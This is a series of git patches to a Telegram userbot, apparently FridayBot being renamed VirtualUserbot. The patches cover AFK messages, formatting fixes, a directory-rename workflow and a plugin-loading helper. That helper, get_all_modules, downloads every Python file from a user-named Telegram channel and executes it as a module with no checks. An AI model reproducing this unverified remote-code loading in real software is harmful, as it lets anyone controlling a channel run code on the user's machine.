get_all_modules +from fridaybot.utils import friday_on_cmd, load_module DELETE_TIMEOUT = 5 @@ -41,12 +42,16 @@ async def install(event): await asyncio.sleep(DELETE_TIMEOUT) await event.delete() -@borg.on(friday_on_cmd(pattern='pl ?(.*)')) + +@borg.on(friday_on_cmd(pattern="pl ?(.*)")) async def _(event): lul = event.pattern_match.group(1) yesm, nope, total_p = await get_all_modules(event, borg, lul) - await event.edit(f"Installed {yesm} PLugins. Failed To Install {nope} Plugins And There Were Total {total_p} Plugins") - + await event.edit( + f"Installed {yesm} PLugins. Failed To Install {nope} Plugins And There Were Total {total_p} Plugins" + ) + + CMD_HELP.update( { "install": "**Install**\ From c154719662b5c0f2491057b7e8281b97905795bc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:21:50 +0530 Subject: [PATCH 713/838] Update utils.py --- fridaybot/utils.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fridaybot/utils.py b/fridaybot/utils.py index 0f5323e8..7d32cac5 100644 --- a/fridaybot/utils.py +++ b/fridaybot/utils.py @@ -131,6 +131,8 @@ def load_module(shortname): sys.modules["friday.util"] = fridaybot.utils sys.modules["userbot.utils"] = fridaybot.utils sys.modules["userbot.plugins"] = fridaybot.modules + sys.modules["plugins"] = fridaybot.modules + sys.modules["userbot"] = fridaybot mod.Config = Config mod.ignore_grp = ignore_grp() mod.ignore_pm = ignore_pm() From c6ea4ce1f2e3904fcb1aba4897fbef477906ef2c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:27:34 +0530 Subject: [PATCH 714/838] Update afk.py --- fridaybot/modules/afk.py | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py index 22845a20..721367d8 100644 --- a/fridaybot/modules/afk.py +++ b/fridaybot/modules/afk.py @@ -97,7 +97,7 @@ async def set_not_afk(event): event.chat_id, "Please set `PRIVATE_GROUP_ID` " + "for the proper functioning of afk functionality " - + "Please Seek Support in @FridayOT\n\n `{}`".format(str(e)), + + "Please Seek Support in @InfinityJE\n\n `{}`".format(str(e)), reply_to=event.message.id, silent=True, ) @@ -250,7 +250,7 @@ async def set_not_afk(event): event.chat_id, "Please set `PRIVATE_GROUP_ID` " + "for the proper functioning of afk functionality " - + "Please Seek Support in @FridayOT\n\n `{}`".format(str(e)), + + "Please Seek Support in @InfinityJE\n\n `{}`".format(str(e)), reply_to=event.message.id, silent=True, ) @@ -312,12 +312,7 @@ async def on_afk(event): else: f"`{int(seconds)}s` **ago**" msg = None - message_to_reply = ( - f"**My Boss is Afk** \n**AFKT** : `{total_afk_time}`\n**Reason** : `{reason}`" - + f"\n\nHe Will Reply To You Soon!" - if reason - else f"**My Master is Afk**\n AFK : `{total_afk_time}` He Will Comeback Soon" - ) + message_to_reply = (f"I Am **Offline** Right Now. \n**Last Seen :** `{total_afk_time}`\n**Reason** : `{reason}`" if reason else f"I Am **Offline** Right Now. \n**Last Seen :** `{total_afk_time}`") msg = await event.reply(message_to_reply) await asyncio.sleep(5) if event.chat_id in last_afk_message: # pylint:disable=E0602 From 75bad699837f9bcc28203188b8d080ae42c5a08f Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 06:58:30 +0000 Subject: [PATCH 715/838] pylint: auto fixes --- fridaybot/modules/afk.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py index 721367d8..c46670e6 100644 --- a/fridaybot/modules/afk.py +++ b/fridaybot/modules/afk.py @@ -312,7 +312,11 @@ async def on_afk(event): else: f"`{int(seconds)}s` **ago**" msg = None - message_to_reply = (f"I Am **Offline** Right Now. \n**Last Seen :** `{total_afk_time}`\n**Reason** : `{reason}`" if reason else f"I Am **Offline** Right Now. \n**Last Seen :** `{total_afk_time}`") + message_to_reply = ( + f"I Am **Offline** Right Now. \n**Last Seen :** `{total_afk_time}`\n**Reason** : `{reason}`" + if reason + else f"I Am **Offline** Right Now. \n**Last Seen :** `{total_afk_time}`" + ) msg = await event.reply(message_to_reply) await asyncio.sleep(5) if event.chat_id in last_afk_message: # pylint:disable=E0602 From f8116e5d83f7d9ebff0180b1f59653ed08ae21b4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:32:27 +0530 Subject: [PATCH 716/838] Update __init__.py --- fridaybot/function/__init__.py | 199 +++++++++++++++++++-------------- 1 file changed, 117 insertions(+), 82 deletions(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index b617a833..c5e48ef6 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -1,25 +1,13 @@ -import asyncio -import json -import math -import os -import re -import shlex -import subprocess -import time -import webbrowser -from os.path import basename -from typing import List, Optional, Tuple - -import hachoir import requests -import telethon from bs4 import BeautifulSoup -from bs4 import BeautifulSoup as bs from hachoir.metadata import extractMetadata from hachoir.parser import createParser -from pymediainfo import MediaInfo -from telethon import Button, custom, events, functions -from telethon.tl.types import DocumentAttributeAudio, MessageMediaPhoto +import hachoir +import asyncio +import os +from pathlib import Path +from fridaybot.utils import load_module +from telethon.tl.types import DocumentAttributeAudio from youtube_dl import YoutubeDL from youtube_dl.utils import ( ContentTooShortError, @@ -31,12 +19,31 @@ UnavailableVideoError, XAttrMetadataError, ) - -BASE_URL = "https://isubtitles.org" +import asyncio +import json +import math import os -import zipfile +import re +import shlex +import subprocess +import time +from os.path import basename +from typing import List, Optional, Tuple +import webbrowser +from bs4 import BeautifulSoup +import requests +from bs4 import BeautifulSoup as bs +import re +from telethon.tl.types import InputMessagesFilterDocument +import telethon +from telethon import Button, custom, events, functions +from pymediainfo import MediaInfo +from telethon.tl.types import MessageMediaPhoto +BASE_URL = "https://isubtitles.org" from fridaybot.Configs import Config +import zipfile +import os sedpath = Config.TMP_DOWNLOAD_DIRECTORY from fridaybot import logging @@ -62,6 +69,7 @@ async def runcmd(cmd: str) -> Tuple[str, str, int, int]: ) + async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" now = time.time() @@ -103,6 +111,50 @@ def humanbytes(size): raised_to_pow += 1 return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" +async def get_all_modules(event, borg, channel_id): + await event.edit(f"Ìnstalling All Plugins from {channel_id}") + try: + a_plugins = await borg.get_messages( + entity=channel_id, + filter=InputMessagesFilterDocument, + limit=None, + search=".py", + ) + except: + await event.edit("`Failed To Retrieve Modules. Please Check Channel Username / Id. Make Sure You Are On That Channel`") + return + yesm = 0 + nom = 0 + len_p = int(a_plugins.total) + if len_p == 0: + await event.edit("**No PLugins Found To Load !**") + return + await event.edit(f"**Found : {len_p} Plugins. Trying To Install**") + for sed in a_plugins: + try: + downloaded_file_name = await borg.download_media(sed, "fridaybot/modules/") + if "(" not in downloaded_file_name: + path1 = Path(downloaded_file_name) + shortname = path1.stem + load_module(shortname.replace(".py", "")) + await event.edit("**Installed :** `{}`".format(os.path.basename(downloaded_file_name) + ) + ) + else: + nom += 1 + await event.edit("**Failed to Install [PLugin Already Found] :** `{}`".format(os.path.basename(downloaded_file_name) + ) + ) + os.remove(downloaded_file_name) + except: + await event.edit("**Failed To Install :** `{}`".format(os.path.basename(downloaded_file_name) + ) + ) + os.remove(downloaded_file_name) + nom += 1 + pass + yesm = len_p - nom + return yesm, nom, len_p def time_formatter(milliseconds: int) -> str: """Inputs time in milliseconds, to get beautified time, @@ -112,11 +164,11 @@ def time_formatter(milliseconds: int) -> str: hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) tmp = ( - ((str(days) + " day(s), ") if days else "") - + ((str(hours) + " hour(s), ") if hours else "") - + ((str(minutes) + " minute(s), ") if minutes else "") - + ((str(seconds) + " second(s), ") if seconds else "") - + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") ) return tmp[:-2] @@ -126,14 +178,14 @@ def time_formatter(milliseconds: int) -> str: async def convert_to_image(event, borg): lmao = await event.get_reply_message() if not ( - lmao.gif - or lmao.audio - or lmao.voice - or lmao.video - or lmao.video_note - or lmao.photo - or lmao.sticker - or lmao.media + lmao.gif + or lmao.audio + or lmao.voice + or lmao.video + or lmao.video_note + or lmao.photo + or lmao.sticker + or lmao.media ): await event.edit("`Format Not Supported.`") return @@ -215,7 +267,7 @@ async def crop_vid(input_vid: str, final_path: str): # Thanks To Userge-X async def take_screen_shot( - video_file: str, duration: int, path: str = "" + video_file: str, duration: int, path: str = "" ) -> Optional[str]: """ take a screenshot """ logger.info( @@ -329,8 +381,8 @@ async def get_subtitles(imdb_id, borg, event): sub_name_tag = row.find("td", class_=None) sub_name = ( str(sub_name_tag.find("a").text) - .replace("subtitle", "") - .replace("\n", "") + .replace("subtitle", "") + .replace("\n", "") ) sub = (sub_name, sub_link) subtitles.append(sub) @@ -352,51 +404,43 @@ async def get_subtitles(imdb_id, borg, event): # Thanks To TechoAryan For Scarpping async def apk_dl(app_name, path, event): - await event.edit( - "`Searching, For Apk File. This May Take Time Depending On Your App Size`" - ) + await event.edit('`Searching, For Apk File. This May Take Time Depending On Your App Size`') res = requests.get(f"https://m.apkpure.com/search?q={app_name}") - soup = BeautifulSoup(res.text, "html.parser") - result = soup.select(".dd") + soup = BeautifulSoup(res.text, 'html.parser') + result = soup.select('.dd') for link in result[:1]: - s_for_name = requests.get("https://m.apkpure.com" + link.get("href")) - sfn = BeautifulSoup(s_for_name.text, "html.parser") - ttl = sfn.select_one("title").text - noneed = [" - APK Download"] + s_for_name = requests.get("https://m.apkpure.com" + link.get('href')) + sfn = BeautifulSoup(s_for_name.text, 'html.parser') + ttl = sfn.select_one('title').text + noneed = [' - APK Download'] for i in noneed: - name = ttl.replace(i, "") - res2 = requests.get( - "https://m.apkpure.com" + link.get("href") + "/download?from=details" - ) - soup2 = BeautifulSoup(res2.text, "html.parser") - result = soup2.select(".ga") + name = ttl.replace(i, '') + res2 = requests.get("https://m.apkpure.com" + link.get('href') + "/download?from=details") + soup2 = BeautifulSoup(res2.text, 'html.parser') + result = soup2.select('.ga') for link in result: - dl_link = link.get("href") + dl_link = link.get('href') r = requests.get(dl_link) - with open(f"{path}/{name}@VirtualUserbot.apk", "wb") as f: + with open(f"{path}/{name}@VirtualUserbot.apk", 'wb') as f: f.write(r.content) - await event.edit("`Apk, Downloaded. Let me Upload It here.`") - final_path = f"{path}/{name}@VirtualUserbot.apk" + await event.edit('`Apk, Downloaded. Let me Upload It here.`') + final_path = f'{path}/{name}@VirtualUserbot.apk' return final_path, name - async def check_if_subbed(channel_id, event, bot): try: - result = await bot( - functions.channels.GetParticipantRequest( - channel=channel_id, user_id=event.sender_id + result = await bot( + functions.channels.GetParticipantRequest( + channel=channel_id, user_id=event.sender_id + ) ) - ) - if result.participant: - return True + if result.participant: + return True except telethon.errors.rpcerrorlist.UserNotParticipantError: return False - - + async def _ytdl(url, is_it, event, tgbot): - await event.edit( - "`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**" - ) + await event.edit("`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**") if is_it: opts = { "format": "bestaudio", @@ -453,18 +497,13 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp3", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, - t, - event, - c_time, - "**Uploading Audio To TG**", - f"{ytdl_data['title']}.mp3", + d, t, event, c_time, "**Uploading Audio To TG**", f"{ytdl_data['title']}.mp3" ) ), ) await event.edit( file=lol_m, - text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**", + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp3") elif video: @@ -477,16 +516,12 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp4", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, - t, - event, - c_time, - "**Uploading Video To TG**", - f"{ytdl_data['title']}.mp4", + d, t, event, c_time, "**Uploading Video To TG**", f"{ytdl_data['title']}.mp4" ) ), ) await event.edit( - file=hmmo, text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + file=hmmo, + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp4") From 6de64f834c65af80311e5b873fa92906e7618586 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 07:03:16 +0000 Subject: [PATCH 717/838] pylint: auto fixes --- fridaybot/function/__init__.py | 197 +++++++++++++++++++-------------- 1 file changed, 111 insertions(+), 86 deletions(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index c5e48ef6..f8b387bc 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -1,13 +1,30 @@ +import asyncio +import json +import math +import os +import re +import shlex +import subprocess +import time +import webbrowser +from os.path import basename +from pathlib import Path +from typing import List, Optional, Tuple + +import hachoir import requests +import telethon from bs4 import BeautifulSoup +from bs4 import BeautifulSoup as bs from hachoir.metadata import extractMetadata from hachoir.parser import createParser -import hachoir -import asyncio -import os -from pathlib import Path -from fridaybot.utils import load_module -from telethon.tl.types import DocumentAttributeAudio +from pymediainfo import MediaInfo +from telethon import Button, custom, events, functions +from telethon.tl.types import ( + DocumentAttributeAudio, + InputMessagesFilterDocument, + MessageMediaPhoto, +) from youtube_dl import YoutubeDL from youtube_dl.utils import ( ContentTooShortError, @@ -19,31 +36,14 @@ UnavailableVideoError, XAttrMetadataError, ) -import asyncio -import json -import math -import os -import re -import shlex -import subprocess -import time -from os.path import basename -from typing import List, Optional, Tuple -import webbrowser -from bs4 import BeautifulSoup -import requests -from bs4 import BeautifulSoup as bs -import re -from telethon.tl.types import InputMessagesFilterDocument -import telethon -from telethon import Button, custom, events, functions -from pymediainfo import MediaInfo -from telethon.tl.types import MessageMediaPhoto + +from fridaybot.utils import load_module BASE_URL = "https://isubtitles.org" -from fridaybot.Configs import Config -import zipfile import os +import zipfile + +from fridaybot.Configs import Config sedpath = Config.TMP_DOWNLOAD_DIRECTORY from fridaybot import logging @@ -69,7 +69,6 @@ async def runcmd(cmd: str) -> Tuple[str, str, int, int]: ) - async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" now = time.time() @@ -111,6 +110,7 @@ def humanbytes(size): raised_to_pow += 1 return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + async def get_all_modules(event, borg, channel_id): await event.edit(f"Ìnstalling All Plugins from {channel_id}") try: @@ -121,7 +121,9 @@ async def get_all_modules(event, borg, channel_id): search=".py", ) except: - await event.edit("`Failed To Retrieve Modules. Please Check Channel Username / Id. Make Sure You Are On That Channel`") + await event.edit( + "`Failed To Retrieve Modules. Please Check Channel Username / Id. Make Sure You Are On That Channel`" + ) return yesm = 0 nom = 0 @@ -137,25 +139,31 @@ async def get_all_modules(event, borg, channel_id): path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) - await event.edit("**Installed :** `{}`".format(os.path.basename(downloaded_file_name) - ) - ) + await event.edit( + "**Installed :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) else: nom += 1 - await event.edit("**Failed to Install [PLugin Already Found] :** `{}`".format(os.path.basename(downloaded_file_name) - ) - ) + await event.edit( + "**Failed to Install [PLugin Already Found] :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) os.remove(downloaded_file_name) except: - await event.edit("**Failed To Install :** `{}`".format(os.path.basename(downloaded_file_name) - ) - ) - os.remove(downloaded_file_name) - nom += 1 - pass + await event.edit( + "**Failed To Install :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) + os.remove(downloaded_file_name) + nom += 1 yesm = len_p - nom return yesm, nom, len_p + def time_formatter(milliseconds: int) -> str: """Inputs time in milliseconds, to get beautified time, as string""" @@ -164,11 +172,11 @@ def time_formatter(milliseconds: int) -> str: hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) tmp = ( - ((str(days) + " day(s), ") if days else "") - + ((str(hours) + " hour(s), ") if hours else "") - + ((str(minutes) + " minute(s), ") if minutes else "") - + ((str(seconds) + " second(s), ") if seconds else "") - + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") ) return tmp[:-2] @@ -178,14 +186,14 @@ def time_formatter(milliseconds: int) -> str: async def convert_to_image(event, borg): lmao = await event.get_reply_message() if not ( - lmao.gif - or lmao.audio - or lmao.voice - or lmao.video - or lmao.video_note - or lmao.photo - or lmao.sticker - or lmao.media + lmao.gif + or lmao.audio + or lmao.voice + or lmao.video + or lmao.video_note + or lmao.photo + or lmao.sticker + or lmao.media ): await event.edit("`Format Not Supported.`") return @@ -267,7 +275,7 @@ async def crop_vid(input_vid: str, final_path: str): # Thanks To Userge-X async def take_screen_shot( - video_file: str, duration: int, path: str = "" + video_file: str, duration: int, path: str = "" ) -> Optional[str]: """ take a screenshot """ logger.info( @@ -381,8 +389,8 @@ async def get_subtitles(imdb_id, borg, event): sub_name_tag = row.find("td", class_=None) sub_name = ( str(sub_name_tag.find("a").text) - .replace("subtitle", "") - .replace("\n", "") + .replace("subtitle", "") + .replace("\n", "") ) sub = (sub_name, sub_link) subtitles.append(sub) @@ -404,43 +412,51 @@ async def get_subtitles(imdb_id, borg, event): # Thanks To TechoAryan For Scarpping async def apk_dl(app_name, path, event): - await event.edit('`Searching, For Apk File. This May Take Time Depending On Your App Size`') + await event.edit( + "`Searching, For Apk File. This May Take Time Depending On Your App Size`" + ) res = requests.get(f"https://m.apkpure.com/search?q={app_name}") - soup = BeautifulSoup(res.text, 'html.parser') - result = soup.select('.dd') + soup = BeautifulSoup(res.text, "html.parser") + result = soup.select(".dd") for link in result[:1]: - s_for_name = requests.get("https://m.apkpure.com" + link.get('href')) - sfn = BeautifulSoup(s_for_name.text, 'html.parser') - ttl = sfn.select_one('title').text - noneed = [' - APK Download'] + s_for_name = requests.get("https://m.apkpure.com" + link.get("href")) + sfn = BeautifulSoup(s_for_name.text, "html.parser") + ttl = sfn.select_one("title").text + noneed = [" - APK Download"] for i in noneed: - name = ttl.replace(i, '') - res2 = requests.get("https://m.apkpure.com" + link.get('href') + "/download?from=details") - soup2 = BeautifulSoup(res2.text, 'html.parser') - result = soup2.select('.ga') + name = ttl.replace(i, "") + res2 = requests.get( + "https://m.apkpure.com" + link.get("href") + "/download?from=details" + ) + soup2 = BeautifulSoup(res2.text, "html.parser") + result = soup2.select(".ga") for link in result: - dl_link = link.get('href') + dl_link = link.get("href") r = requests.get(dl_link) - with open(f"{path}/{name}@VirtualUserbot.apk", 'wb') as f: + with open(f"{path}/{name}@VirtualUserbot.apk", "wb") as f: f.write(r.content) - await event.edit('`Apk, Downloaded. Let me Upload It here.`') - final_path = f'{path}/{name}@VirtualUserbot.apk' + await event.edit("`Apk, Downloaded. Let me Upload It here.`") + final_path = f"{path}/{name}@VirtualUserbot.apk" return final_path, name + async def check_if_subbed(channel_id, event, bot): try: - result = await bot( - functions.channels.GetParticipantRequest( - channel=channel_id, user_id=event.sender_id - ) + result = await bot( + functions.channels.GetParticipantRequest( + channel=channel_id, user_id=event.sender_id ) - if result.participant: - return True + ) + if result.participant: + return True except telethon.errors.rpcerrorlist.UserNotParticipantError: return False - + + async def _ytdl(url, is_it, event, tgbot): - await event.edit("`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**") + await event.edit( + "`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**" + ) if is_it: opts = { "format": "bestaudio", @@ -497,13 +513,18 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp3", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, t, event, c_time, "**Uploading Audio To TG**", f"{ytdl_data['title']}.mp3" + d, + t, + event, + c_time, + "**Uploading Audio To TG**", + f"{ytdl_data['title']}.mp3", ) ), ) await event.edit( file=lol_m, - text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**", ) os.remove(f"{ytdl_data['id']}.mp3") elif video: @@ -516,12 +537,16 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp4", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, t, event, c_time, "**Uploading Video To TG**", f"{ytdl_data['title']}.mp4" + d, + t, + event, + c_time, + "**Uploading Video To TG**", + f"{ytdl_data['title']}.mp4", ) ), ) await event.edit( - file=hmmo, - text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + file=hmmo, text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp4") From 6032a7c27d972ba355a069ff19cdb02e9d693d02 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:42:00 +0530 Subject: [PATCH 718/838] Update utils.py --- fridaybot/utils.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/fridaybot/utils.py b/fridaybot/utils.py index 7d32cac5..6996f591 100644 --- a/fridaybot/utils.py +++ b/fridaybot/utils.py @@ -8,7 +8,6 @@ from fridaybot import CMD_LIST, LOAD_PLUG, SUDO_LIST, bot from fridaybot.Configs import Config -from fridaybot.function import strings as _tr from fridaybot.wraptools import ( am_i_admin, ignore_bot, @@ -17,7 +16,6 @@ ignore_pm, ) from var import Var - sedprint = logging.getLogger("PLUGINS") cmdhandler = Config.COMMAND_HAND_LER bothandler = Config.BOT_HANDLER @@ -124,7 +122,6 @@ def load_module(shortname): mod.tgbot = bot.tgbot mod.Var = Var mod.command = command - mod._tr = _tr mod.logger = logging.getLogger(shortname) # support for uniborg sys.modules["uniborg.util"] = fridaybot.utils From 4d9b852254bfaabcd97c5933cea93c23abe517ae Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 07:12:42 +0000 Subject: [PATCH 719/838] pylint: auto fixes --- fridaybot/utils.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/utils.py b/fridaybot/utils.py index 6996f591..25e2ce13 100644 --- a/fridaybot/utils.py +++ b/fridaybot/utils.py @@ -16,6 +16,7 @@ ignore_pm, ) from var import Var + sedprint = logging.getLogger("PLUGINS") cmdhandler = Config.COMMAND_HAND_LER bothandler = Config.BOT_HANDLER From e17e103ccd24ba350f9857a6e2b8981b93feca0f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 12:45:16 +0530 Subject: [PATCH 720/838] Nice --- fridaybot/modules/_helper.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index 36c5ec73..8965f19e 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -3,9 +3,7 @@ DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" -borg.on(friday_on_cmd(pattern="help ?(.*)")) - - +@borg.on(friday_on_cmd(pattern="help ?(.*)")) async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): tgbotusername = Var.TG_BOT_USER_NAME_BF_HER From b78d085e6272ce4acde026374da9933cc314fe3b Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 07:16:05 +0000 Subject: [PATCH 721/838] pylint: auto fixes --- fridaybot/modules/_helper.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index 8965f19e..8d7c20ff 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -3,6 +3,7 @@ DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" + @borg.on(friday_on_cmd(pattern="help ?(.*)")) async def cmd_list(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): From deb12c28ab4806a888e88364a75a3e059564265e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 13:53:21 +0530 Subject: [PATCH 722/838] Create saint.yml --- .github/workflows/saint.yml | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 .github/workflows/saint.yml diff --git a/.github/workflows/saint.yml b/.github/workflows/saint.yml new file mode 100644 index 00000000..0fe0f5f1 --- /dev/null +++ b/.github/workflows/saint.yml @@ -0,0 +1,12 @@ +name: Rename Directory + +on: + push: + +jobs: + rename: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - run: git mv fridaybot virtualuserbot + - uses: EndBug/add-and-commit@v5.1.0 From bb5ec2b8381a9453c4a6f0e060430fbc3aeab854 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 08:23:40 +0000 Subject: [PATCH 723/838] Commit from GitHub Actions (Rename Directory) --- {fridaybot => virtualuserbot}/Configs.py | 0 {fridaybot => virtualuserbot}/__init__.py | 0 {fridaybot => virtualuserbot}/__main__.py | 0 {fridaybot => virtualuserbot}/events.py | 0 {fridaybot => virtualuserbot}/function/__init__.py | 0 {fridaybot => virtualuserbot}/function/apis.py | 0 {fridaybot => virtualuserbot}/function/fridayfunction.py | 0 {fridaybot => virtualuserbot}/function/heroku_helper.py | 0 {fridaybot => virtualuserbot}/googol_images.py | 0 {fridaybot => virtualuserbot}/modules/README.md | 0 {fridaybot => virtualuserbot}/modules/WhatsNew.py | 0 {fridaybot => virtualuserbot}/modules/__init__.py | 0 {fridaybot => virtualuserbot}/modules/_helper.py | 0 {fridaybot => virtualuserbot}/modules/_inlinebot.py | 0 {fridaybot => virtualuserbot}/modules/add.py | 0 {fridaybot => virtualuserbot}/modules/addnote.py | 0 {fridaybot => virtualuserbot}/modules/admin.py | 0 {fridaybot => virtualuserbot}/modules/adultzone.py | 0 {fridaybot => virtualuserbot}/modules/advance_help.py | 0 {fridaybot => virtualuserbot}/modules/afk.py | 0 {fridaybot => virtualuserbot}/modules/alive.py | 0 {fridaybot => virtualuserbot}/modules/allban.py | 0 {fridaybot => virtualuserbot}/modules/android.py | 0 {fridaybot => virtualuserbot}/modules/anilist.py | 0 {fridaybot => virtualuserbot}/modules/animation1.py | 0 {fridaybot => virtualuserbot}/modules/animation2.py | 0 {fridaybot => virtualuserbot}/modules/animation3.py | 0 {fridaybot => virtualuserbot}/modules/animation4.py | 0 {fridaybot => virtualuserbot}/modules/anime.py | 0 {fridaybot => virtualuserbot}/modules/antiflood.py | 0 {fridaybot => virtualuserbot}/modules/antispam.py | 0 {fridaybot => virtualuserbot}/modules/antivirus.py | 0 {fridaybot => virtualuserbot}/modules/app.py | 0 {fridaybot => virtualuserbot}/modules/archiver.py | 0 {fridaybot => virtualuserbot}/modules/art.py | 0 {fridaybot => virtualuserbot}/modules/assistant/README.md | 0 {fridaybot => virtualuserbot}/modules/assistant/adminbot.py | 0 {fridaybot => virtualuserbot}/modules/assistant/bot_alive.py | 0 {fridaybot => virtualuserbot}/modules/assistant/id_bot.py | 0 {fridaybot => virtualuserbot}/modules/assistant/main_assistant.py | 0 {fridaybot => virtualuserbot}/modules/assistant/notes.py | 0 {fridaybot => virtualuserbot}/modules/assistant/ping.py | 0 {fridaybot => virtualuserbot}/modules/assistant/translater.py | 0 {fridaybot => virtualuserbot}/modules/autotools.py | 0 {fridaybot => virtualuserbot}/modules/barcode.py | 0 {fridaybot => virtualuserbot}/modules/bash.py | 0 {fridaybot => virtualuserbot}/modules/bassboost.py | 0 {fridaybot => virtualuserbot}/modules/bible.py | 0 {fridaybot => virtualuserbot}/modules/bigoof.py | 0 {fridaybot => virtualuserbot}/modules/bin.py | 0 {fridaybot => virtualuserbot}/modules/blacklist.py | 0 {fridaybot => virtualuserbot}/modules/books.py | 0 {fridaybot => virtualuserbot}/modules/bot_tag.py | 0 {fridaybot => virtualuserbot}/modules/broadcast.py | 0 {fridaybot => virtualuserbot}/modules/bye.py | 0 {fridaybot => virtualuserbot}/modules/calc.py | 0 {fridaybot => virtualuserbot}/modules/calladmin.py | 0 {fridaybot => virtualuserbot}/modules/carbon.py | 0 {fridaybot => virtualuserbot}/modules/carbonRGB.py | 0 {fridaybot => virtualuserbot}/modules/card.py | 0 {fridaybot => virtualuserbot}/modules/cbutton.py | 0 {fridaybot => virtualuserbot}/modules/chain.py | 0 {fridaybot => virtualuserbot}/modules/channel_download.py | 0 {fridaybot => virtualuserbot}/modules/channel_sticker.py | 0 {fridaybot => virtualuserbot}/modules/channel_zipper.py | 0 {fridaybot => virtualuserbot}/modules/checker.py | 0 {fridaybot => virtualuserbot}/modules/checkrestrictions.py | 0 {fridaybot => virtualuserbot}/modules/chotatweak.py | 0 {fridaybot => virtualuserbot}/modules/classictranslate.py | 0 {fridaybot => virtualuserbot}/modules/clone.py | 0 {fridaybot => virtualuserbot}/modules/cmd_list.py | 0 {fridaybot => virtualuserbot}/modules/coinflip.py | 0 {fridaybot => 